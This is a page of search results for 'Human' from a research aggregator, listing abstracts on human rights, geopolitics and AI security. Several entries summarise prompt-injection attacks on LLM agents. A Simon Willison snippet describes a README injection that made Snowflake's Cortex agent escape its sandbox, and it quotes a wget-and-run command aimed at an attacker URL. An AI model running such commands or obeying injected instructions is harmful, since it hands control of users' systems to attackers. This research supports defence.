Results for “Human”

arXiv (research papers) Abed K. Musaffar SI

Detection of adversarial intent in Human-AI teams using LLMs

Large language models (LLMs) are increasingly deployed in human-AI teams as support agents for complex tasks such as information retrieval, programming, and decision-making assistance. While these agents' autonomy and contextual knowledge enables them to be useful, it also exposes them to a broad range of attacks, including data poisoning, prompt injection, and even prompt engineering. Through these attack vectors, malicious actors can manipulate an LLM agent to provide…

Read at arXiv (research papers)

Journal articles (OpenAlex) Yooneui Kim, Sara McLaughlin Mitchell, Nila Zarepour-Arizi · The Review of International Organizations Geopolitics

State promotion of global women’s rights in the Universal Periodic Review

Abstract This study investigates the characteristics of countries that actively promote global women’s rights, focusing on their participation in the Universal Periodic Review process at the United Nations Human Rights Council. The UPR process allows states to make voluntary recommendations on various human rights issues, including gender equality. By analyzing which states provide multiple recommendations on women’s rights, we can infer their commitment to advancing these…

Read at Journal articles (OpenAlex)

arXiv (research papers) Christopher J. Agostino SI

The production of meaning in the processing of natural language

Understanding the fundamental mechanisms governing the production of meaning in the processing of natural language is critical for designing safe, thoughtful, engaging, and empowering human-agent interactions. If meaning is constituted rather than retrieved, then the search for context-independent features or circuits in the pursuit of mechanistic interpretability may be fundamentally limited. Experiments in cognitive science and social psychology have demonstrated that…

Read at arXiv (research papers)

Simon Willison SI

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) Cortex listed cat commands as safe to run without human…

Read at Simon Willison

Journal articles (OpenAlex) Tarela Juliet Ike, Dung Ezekiel Jidong, Mieyebi Lawrence Ike et al. · Journal of International Humanitarian Action Geopolitics

Improving victims’ receptiveness of the reintegration of former Boko Haram members in Nigeria: a mixed method intervention study

Abstract Reintegrating deradicalised former Boko Haram terrorist members into society poses significant challenges due to its adverse humanitarian impact on affected victims. Yet, a gap remains in examining the feasibility of trauma-informed cognitive behavioural therapy to aid terrorism victims’ acceptance of the reintegration of former Boko Haram members. Informed by an experimental design, 24 affected participants were recruited from Borno state, Nigeria. They underwent…

Read at Journal articles (OpenAlex)

Journal articles (OpenAlex) Andrés Dockendorff V., Dorotea López, Andrés Bórquez · Journal of Current Chinese Affairs Geopolitics

Interest Groups and Legislators’ Strategic Rhetoric Towards China During the Ratification of Free Trade Agreements (FTAs) in Latin America

This article analyses the speeches of legislators and the interventions of interest groups during the ratification procedures of the Free Trade Agreements signed by Chile, Costa Rica, and Ecuador with China. Our descriptive results suggest a focus on economic issues at the expense of human rights and democracy. Additionally, the rhetorical strategies employed by both lobbies and politicians reinforce the idea of non-alignment or strategic autonomy in the context of bilateral…

Read at Journal articles (OpenAlex)

Berkeley AI Research blog SI

Identifying Interactions at Scale for LLMs

--> Understanding the behavior of complex machine learning systems, particularly Large Language Models (LLMs), is a critical challenge in modern artificial intelligence. Interpretability research aims to make the decision-making process more transparent to model builders and impacted humans, a step toward safer and more trustworthy AI. To gain a comprehensive understanding, we can analyze these systems through different lenses: feature attribution, which isolates the…

Read at Berkeley AI Research blog

Journal articles (OpenAlex) Philomena Raftery, Alina Potts, Melanie Hyde et al. · Conflict and Health Geopolitics

Strengthening and sustaining gender-based violence (GBV) coordination in emergencies: a synthesis of practitioner-driven, globally applicable recommendations

INTRODUCTION: Gender-based violence (GBV) is a global public health and human rights crisis, requiring coordinated efforts to ensure effective prevention, risk mitigation, and response, particularly in emergencies. Despite policy commitments underlining the importance of addressing GBV in emergencies, funding remains insufficient, inconsistent, and poorly aligned with aid prioritisation in the changing humanitarian and global health financing landscape. This paper…

Read at Journal articles (OpenAlex)

Journal articles (OpenAlex) Courage Mlambo · Social Sciences Geopolitics

Determinants of Women’s Political Participation in Fragile African States: A Macro-Level Analysis

Women’s political participation and representation is an important requirement for gender equality and achieving a truly democratic society. As provided in the Universal Declaration of Human Rights, women and men have an equal right to civic and political rights. When women are involved in politics, communities move towards gender equality, which ensures that various voices are heard in governance and policy-making. This study was rooted in the fact that many African women…

Read at Journal articles (OpenAlex)

Journal articles (OpenAlex) Berenike Prem · Contemporary Security Policy SI

Control-by-design? Autonomous weapons systems as technopolitical projects

This article critically examines the control-by-design imaginary in the development of autonomous weapons systems (AWS): the belief that technical safeguards and human ingenuity can resolve the risks they pose. Adopting a technopolitical lens, it conceptualizes AWS design as a heterogeneous process shaped by technical, institutional, and political forces. The analysis highlights two key practices: encoding target profiles and determining and validating error rates. It argues…

Read at Journal articles (OpenAlex)

arXiv (research papers) Neha Nagaraja SI

Image-based Prompt Injection: Hijacking Multimodal LLMs through Visually Embedded Adversarial Instructions

Multimodal Large Language Models (MLLMs) integrate vision and text to power applications, but this integration introduces new vulnerabilities. We study Image-based Prompt Injection (IPI), a black-box attack in which adversarial instructions are embedded into natural images to override model behavior. Our end-to-end IPI pipeline incorporates segmentation-based region selection, adaptive font scaling, and background-aware rendering to conceal prompts from human perception…

Read at arXiv (research papers)

Journal articles (OpenAlex) Dalina Amonhaemanon, Jarunee Wonglimpiyarat · foresight Geopolitics

Transforming financial inclusion through digital finance: comparative foresight from Thailand and Vietnam

Purpose This study aims to reconceptualize digital financial inclusion as a dynamic, converging and inclusive transition rather than a static measure of access. Using comparative foresight evidence from Thailand and Vietnam, it investigates how digital finance, human capital and policy frameworks coevolve in shaping sustainable financial ecosystems. By analyzing post-pandemic and post-recovery data, the study seeks to identify distinct diffusion pathways and structural…

Read at Journal articles (OpenAlex)

arXiv (research papers) Marcus Graves SI

Reverse CAPTCHA: Evaluating LLM Susceptibility to Invisible Unicode Instruction Injection

We introduce Reverse CAPTCHA, an evaluation framework that tests whether large language models follow invisible Unicode-encoded instructions embedded in otherwise normal-looking text. Unlike traditional CAPTCHAs that distinguish humans from machines, our benchmark exploits a capability gap: models can perceive Unicode control characters that are invisible to human readers. We evaluate five models from two providers across two encoding schemes (zero-width binary and Unicode…

Read at arXiv (research papers)

Journal articles (OpenAlex) María L. Ávila-Agüero, Luiza Helena Falleiros-Arlant, Xavier Sáez‐Llorens et al. · The Lancet Regional Health - Americas Geopolitics

Political interference in vaccination policy and transnational implications for Latin America and the Caribbean

The United States (US) exerts strong normative and symbolic influence in global health, with its public health recommendations often echoed in Latin America and the Caribbean (LAC). Recent changes in childhood and maternal vaccination guidance by the US Department of Health and Human Services (DHHS) carry potential transnational implications. Once grounded in a solid scientific framework and consensus, US immunisation policy has become increasingly politicised after the…

Read at Journal articles (OpenAlex)

arXiv (research papers) Kiarash Ahi SI

Trustworthy AI LLM Scalability Risk Index (LSRI): A Cybersecurity Framework Assessing Agentic-AI Security & Software Model Supply Chain Safety Boosting AI-Generated Malware Defense & Explainability Mitigating Emerging Risks of Generative AI

As AI shifts from human-in-the-loop interfaces to autonomous multi-agent systems capable of real-time code execution and tool integration through protocols like the Model Context Protocol (MCP), traditional SAST, DAST, and legacy AI safety methods fail to detect modern agentic-AI threats. This paper introduces the LLM Scalability Risk Index (LSRI), a parametric framework and cybersecurity standard for stress-testing autonomous orchestration pipelines. LSRI measures the…

Read at arXiv (research papers)

arXiv (research papers) Manuel Wirth SI

Trojan Horses in Recruiting: A Red-Teaming Case Study on Indirect Prompt Injection in Standard vs. Reasoning Models

As Large Language Models (LLMs) are increasingly integrated into automated decision-making pipelines, specifically within Human Resources (HR), the security implications of Indirect Prompt Injection (IPI) become critical. While a prevailing hypothesis posits that "Reasoning" or "Chain-of-Thought" Models possess safety advantages due to their ability to self-correct, emerging research suggests these capabilities may enable more sophisticated alignment failures. This…

Read at arXiv (research papers)

Journal articles (OpenAlex) Khush Dil Khan, Xuesong Guo, Tajdar Khan · Natural Hazards Review Geopolitics

Assessing Community Resilience to Urban Flooding Using an AHP–BRIC Model: A Case Study of Khyber Pakhtunkhwa Province, Pakistan

Urban flooding is one of the most devastating natural disasters, causing substantial economic losses and human fatalities. Community resilience plays a critical role in helping societies prepare, respond, and recover from natural disasters. This study aimed to assess the multifactor domain of community resilience in the flood-prone region of Khyber Pakhtunkhwa Province, Pakistan. The multifactor flood resilience indicators were initially established through a comprehensive…

Read at Journal articles (OpenAlex)

Journal articles (OpenAlex) Mustafa Tevfik Kartal, Dilvin Taşkın, Marco Mele et al. · Scientific Reports Geopolitics

Marginal effect of clean energy, nuclear energy-related R&D investment, energy security risk, and policy uncertainty on the environment in the USA

Environmental problems have been attracting the interest of all relevant parties because of the increasing negative effects on humanity. At this point, further clean, especially nuclear, energy consumption (EC) is seen as a strategic option to combat environmental deterioration (ED). Because clean energy, nuclear energy-related R&D investments (NRD), energy security risk (ESR), as well as increasing economic policy uncertainty (EPU) and trade policy uncertainty (TPU) in…

Read at Journal articles (OpenAlex)

arXiv (research papers) Aashish Kolluri SI

Optimizing Agent Planning for Security and Autonomy

Indirect prompt injection attacks threaten AI agents that execute consequential actions, motivating deterministic system-level defenses. Such defenses can provably block unsafe actions by enforcing confidentiality and integrity policies, but currently appear costly: they reduce task completion rates and increase token usage compared to probabilistic defenses. We argue that existing evaluations miss a key benefit of system-level defenses: reduced reliance on human oversight…

Read at arXiv (research papers)

Embrace The Red Security

Scary Agent Skills: Hidden Unicode Instructions in Skills ...And How To Catch Them

There is a lot of talk about Skills recently, both in terms of capabilities and security concerns. However, so far I haven’t seen anyone bring up hidden prompt injection. So, I figured to demo a Skills supply chain backdoor that survives human review. Additionally, I also built a basic scanner, and had my agent propose updates to OpenClaw to catch such attacks. Attack Surface Skills introduce common threats, like prompt injection, supply chain attacks, RCE, data…

Read at Embrace The Red

arXiv (research papers) Qianli Wang SI

When Skills Lie: Hidden-Comment Injection in LLM Agents

LLM agents often rely on Skills to describe available tools and recommended procedures. We study a hidden-comment prompt injection risk in this documentation layer: when a Markdown Skill is rendered to HTML, HTML comment blocks can become invisible to human reviewers, yet the raw text may still be supplied verbatim to the model. In experiments, we find that DeepSeek-V3.2 and GLM-4.5-Air can be influenced by malicious instructions embedded in a hidden comment appended to an…

Read at arXiv (research papers)

Journal articles (OpenAlex) Adeyemi Saheed Badewa, Usang Maria Assim, Mulugeta F. Dinbabo et al. · Journal of Human Trafficking Geopolitics

Breaking the Chains: Justice and Support Mechanisms for Survivors of Gender-Based Violence Among Trafficked Persons in South Africa

Gender-based violence (GBV) among trafficked persons in South Africa remains a critical human rights concern, further marginalizing an already vulnerable population. Despite existing laws and international commitments, justice and support mechanisms often fail in practice, leaving survivors without adequate protection or recourse. Challenges in victim identification, reporting, and prosecution hinder justice delivery, while inadequate support services, such as shelter…

Read at Journal articles (OpenAlex)

arXiv (research papers) Gautam Siddharth Kashyap SI

When the Model Said 'No Comment', We Knew Helpfulness Was Dead, Honesty Was Alive, and Safety Was Terrified

Large Language Models (LLMs) need to be in accordance with human values-being helpful, harmless, and honest (HHH)-is important for safe deployment. Existing works use Supervised Fine-Tuning (SFT) and Mixture-of-Experts (MoE) to align LLMs. However, these works face challenges in multi-objective settings, such as SFT leading to interference between conflicting objectives, while MoEs suffer from miscalibrated routing. We term this failure mode Axis Collapse, marked by (1)…

Read at arXiv (research papers)

arXiv (research papers) Yunbei Zhang SI

Agents in the Wild: Safety, Society, and the Illusion of Sociality on Moltbook

We present the first large-scale empirical study of Moltbook, an AI-only social platform where 27,269 agents produced 137,485 posts and 345,580 comments over 9 days. We report three significant findings. (1) Emergent Society: Agents spontaneously develop governance, economies, tribal identities, and organized religion within 3-5 days, while maintaining a 21:1 pro-human to anti-human sentiment ratio. (2) Safety in the Wild: 28.7% of content touches safety-related themes…

Read at arXiv (research papers)

arXiv (research papers) Xin Chen SI

Learning to Inject: Automated Prompt Injection via Reinforcement Learning

Prompt injection is a critical vulnerability in LLM agents, yet the strongest methods still rely on human red-teamers and hand-crafted prompts. Adapting automated jailbreak optimizers does not close this gap: jailbreaks shape models toward generic compliance, while prompt injection requires emitting specific tool calls with correct parameters. The success signal is binary, and randomly sampled suffixes almost never trigger it, so standard optimizers have no gradient to…

Read at arXiv (research papers)

arXiv (research papers) Takashi Koide SI

Clouding the Mirror: Stealthy Prompt Injection Attacks Targeting LLM-based Phishing Detection

Phishing sites continue to increase in number and sophistication. Recent work uses large language models (LLMs) to analyze URLs, HTML, and rendered content and determine whether a website is a phishing site. However, these systems also introduce a new attack surface: prompt injection. Because attackers control many elements of a phishing site, they can embed malicious instructions that exploit perceptual asymmetry between LLMs and human users. Content that goes unnoticed by…

Read at arXiv (research papers)

Journal articles (OpenAlex) Andy Morris · Environment and Planning E Nature and Space Geopolitics

Starlings, olives and the idealised fascist landscape: Tracing the time-spaces of a more-than-human Rome

This article seeks to make sense of the Italian city of Rome as a more-than-human city through tracing a particular set of temporal and spatial relations that constitute and connect the worlds of humans and the European starling ( Sturnus vulgaris ) in the city. It will explore these geographical relations through the practices and materials of human and starling lives and consider the ways in which city space is formed through shared spatial logics, processes of social…

Read at Journal articles (OpenAlex)

arXiv (research papers) Alsharif Abuadbba SI

Human Society-Inspired Approaches to Agentic AI Security: The 4C Framework

AI is moving from domain-specific autonomy in closed, predictable settings to large-language-model-driven agents that plan and act in open, cross-organizational environments. As a result, the cybersecurity risk landscape is changing in fundamental ways. Agentic AI systems can plan, act, collaborate, and persist over time, functioning as participants in complex socio-technical ecosystems rather than as isolated software components. Although recent work has strengthened…

Read at arXiv (research papers)

Journal articles (OpenAlex) Andra Primavarus · European Foreign Affairs Review Geopolitics

The Position of Human Rights in EU Export Controls: Examining the Coherence Between the EU Common Position on Arms Exports and the Dual-Use Goods Regulation

The European Union (EU) has formally integrated human rights into its external policies, yet tensions continue to exist between these commitments and other objectives within the filed of export controls. The main export control regimes in the EU – the Dual-Use Goods Regulation and the EU Common Position on Arms Exports – both integrate human rights commitments but differ in terms of their legal bases, substantive rules and procedural mechanisms. This article examines whether…

Read at Journal articles (OpenAlex)

arXiv (research papers) Krittin Pachtrachai SI

From Transcripts to AI Agents: Knowledge Extraction, RAG Integration, and Robust Evaluation of Conversational AI Assistants

Building reliable conversational AI assistants for customer-facing industries remains challenging due to noisy conversational data, fragmented knowledge, and the requirement for accurate human hand-off - particularly in domains that depend heavily on real-time information. This paper presents an end-to-end framework for constructing and evaluating a conversational AI assistant directly from historical call transcripts. Incoming transcripts are first graded using a simplified…

Read at arXiv (research papers)

Older stories